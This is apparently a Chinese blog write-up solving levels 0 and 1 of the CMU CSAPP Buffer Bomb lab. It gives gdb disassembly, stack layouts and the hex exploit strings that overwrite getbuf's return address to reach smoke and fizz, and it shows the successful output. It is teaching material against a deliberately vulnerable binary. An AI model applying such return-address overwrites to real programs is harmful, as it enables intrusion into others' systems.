標籤:緩衝區溢位;實驗
題目說明:
開啟漏洞之旅,從基礎做起。近日,下載了CMU為《深入理解電腦系統》(CSAPP)一書教學配合的緩衝區溢位實驗Buffer Bomb,重溫了棧溢出的原理。
題目提供了一個有漏洞溢出的程式bufbomb,包括五個Level,在每個Level中要求返回指定的函數、修改全域變數、執行Shellcode等,難度逐漸遞增。為保證實驗者作業的唯一性,實驗提供了程式makecookie,產生指定使用者名稱的cookie,在實驗中將會用到這個cookie值。在我的機器上,
[email protected]:~/Study/CSAPP Exp/buflab$ ./makecookie heen0x5573b7cf
bufbomb中包含一個有漏洞的函數getbuf
int getbuf(){ char buf[12]; Gets(buf); return 1;}
與標準的c函數gets類似,Gets從標準輸入中讀入字串(直到斷行符號‘\n‘或檔案結尾EOF),添加一個null字元,並將其存入目標位置。在上述函數中,目標位置buf為一包含12個位元組的字元數組。然而,Gets也不會對傳入字串的長度進行檢查,這導致棧溢出的發生。當傳入字串不超過11字元時,
[email protected]:~/Study/CSAPP Exp/buflab$ ./bufbomb -t heenTeam: heenCookie: 0x5573b7cfType string:helloDud: getbuf returned 0x1Better luck next time
當超過11字元時,
[email protected]:~/Study/CSAPP Exp/buflab$ ./bufbomb -t heenTeam: heenCookie: 0x5573b7cfType string:this string is too long!Ouch!: You caused a segmentation fault!Better luck next time
實驗還提供了一個程式sendstring,用於將十六進位表示的字串(exploit string)轉換為輸入字串,例如十六進位表示“30 31 32 33 34 35”被sendstring轉換為對應的字串“012345“。通過管道機制可以傳遞一系列的十六進位字串。
[email protected]: cat exploit.txt | ./sendstring | ./bufbomb -t heen
Level0: Candle(10分)
getbuf函數被test函數調用
void test(){ int val; volatile int local = 0xdeadbeef; val = getbuf(); /* Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned 0x%x\n", val); }}
在bufbomb中還有一個函數
void smoke(){ printf("Smoke!: You called smoke()\n"); validate(0); exit(0);}
要求提供exploit string,使getbuf返回到smoke而非test。
解法:
用gdb調試bufbomb,獲知getbuf函數的棧幀布局,以及smoke函數的起始地址
[email protected]:~/Study/CSAPP Exp/buflab$ gdb -q ./bufbomb Reading symbols from /media/winF/Study/CSAPP Exp/buflab/bufbomb...done.(gdb) disass getbufDump of assembler code for function getbuf: 0x08048a44 <+0>: push ebp 0x08048a45 <+1>: mov ebp,esp 0x08048a47 <+3>: sub esp,0x18 0x08048a4a <+6>: add esp,0xfffffff4 0x08048a4d <+9>: lea eax,[ebp-0xc] ;ebp-0xc為指標buf的值 0x08048a50 <+12>: push eax 0x08048a51 <+13>: call 0x8048b50 <Gets> 0x08048a56 <+18>: mov eax,0x1 0x08048a5b <+23>: mov esp,ebp 0x08048a5d <+25>: pop ebp 0x08048a5e <+26>: ret End of assembler dump.(gdb) disass smokeDump of assembler code for function smoke: 0x08048910 <+0>: push ebp 0x08048911 <+1>: mov ebp,esp 0x08048913 <+3>: sub esp,0x8 0x08048916 <+6>: add esp,0xfffffff4 0x08048919 <+9>: push 0x8049380 0x0804891e <+14>: call 0x8048748 <[email protected]> 0x08048923 <+19>: add esp,0xfffffff4 0x08048926 <+22>: push 0x0 0x08048928 <+24>: call 0x8048c30 <validate> 0x0804892d <+29>: add esp,0x20 0x08048930 <+32>: add esp,0xfffffff4 0x08048933 <+35>: push 0x0 0x08048935 <+37>: call 0x8048788 <[email protected]>End of assembler dump.
getbuf的棧幀布局。
650) this.width=650;" src="http://s3.51cto.com/wyfs02/M00/48/B3/wKioL1QKyOjSZv_NAAA8s1Q1hbA676.jpg" title="buflayout-level0.png" alt="wKioL1QKyOjSZv_NAAA8s1Q1hbA676.jpg" />
輸入20個位元組的exploit string,覆蓋getbuf返回地址為smoke函數的起始地址0x8048910,即可使getbuf返回到smoke。編寫地址的時候,注意x86平台的little-ending。
[email protected]:~/Study/CSAPP Exp/buflab$ cat exploit1.txt 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 10 89 04 08[email protected]:~/Study/CSAPP Exp/buflab$ cat exploit1.txt | ./sendstring |./bufbomb -t heenTeam: heenCookie: 0x5573b7cfType string:Smoke!: You called smoke()
Level1: Sparkler(20分)
bufbomb中包含fizz函數
void fizz(int val){ if (val == cookie) { printf("Fizz!: You called fizz(0x%x)\n", val); validate(1); } else printf("Misfire: You called fizz(0x%x)\n", val); exit(0);}
與上一關類似,要求getbuf不返回到test ,而是返回到fizz,但是必須設定fizz中函數調用的參數為自己的cookie 。
解法:
首先仍然在gdb中disass fizz函數,找出其起始地址為0x804893c,與上一關相同,這個值需要填入buf位移的第17到20位元組,以改寫getbuf原來的返回地址。
[email protected]:~/Study/CSAPP Exp/buflab$ gdb -q ./bufbombReading symbols from /media/winF/Study/CSAPP Exp/buflab/bufbomb...done.(gdb) disass fizzDump of assembler code for function fizz: 0x0804893c <+0>: push ebp 0x0804893d <+1>: mov ebp,esp 0x0804893f <+3>: sub esp,0x8 0x08048942 <+6>: mov eax,DWORD PTR [ebp+0x8] ;val儲存的地址 0x08048945 <+9>: cmp eax,DWORD PTR ds:0x804aa50 0x0804894b <+15>: jne 0x8048970 <fizz+52> 0x0804894d <+17>: add esp,0xfffffff8 0x08048950 <+20>: push eax 0x08048951 <+21>: push 0x804939c 0x08048956 <+26>: call 0x8048748 <[email protected]> 0x0804895b <+31>: add esp,0xfffffff4 0x0804895e <+34>: push 0x1 0x08048960 <+36>: call 0x8048c30 <validate> 0x08048965 <+41>: add esp,0x20 0x08048968 <+44>: jmp 0x8048981 <fizz+69> 0x0804896a <+46>: lea esi,[esi+0x0] 0x08048970 <+52>: add esp,0xfffffff8 0x08048973 <+55>: push eax 0x08048974 <+56>: push 0x80493c0 0x08048979 <+61>: call 0x8048748 <[email protected]> 0x0804897e <+66>: add esp,0x10 0x08048981 <+69>: add esp,0xfffffff4---Type <return> to continue, or q <return> to quit---
其次,我們獲知fizz函數調用中的參數val儲存的地址為fizz函數中的ebp+0x8,這個地址為buf位移的第25到28位元組,,當getbuf函數返回時,堆棧中最後彈出我們控制的ret(0x804893c),然後開始執行fizz函數,堆棧中又壓入EBP,在EBP+0x8即ret+4的地方引用val,在這個地方填入我們的cookie即可達到目的。
650) this.width=650;" src="http://s3.51cto.com/wyfs02/M02/48/B4/wKioL1QK1pDRFxDkAAC_-KVxqks816.jpg" title="buflayout2.png" alt="wKioL1QK1pDRFxDkAAC_-KVxqks816.jpg" />
[email protected]:~/Study/CSAPP Exp/buflab$ cat exploit2_right.txt 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 613c 89 04 08 61 61 61 61 cf b7 73 55
[email protected]:~/Study/CSAPP Exp/buflab$ cat exploit2_right.txt | ./sendstring | ./bufbomb -t heenTeam: heenCookie: 0x5573b7cfType string:Fizz!: You called fizz(0x5573b7cf)
CSAPP緩衝區溢位實驗記錄(一)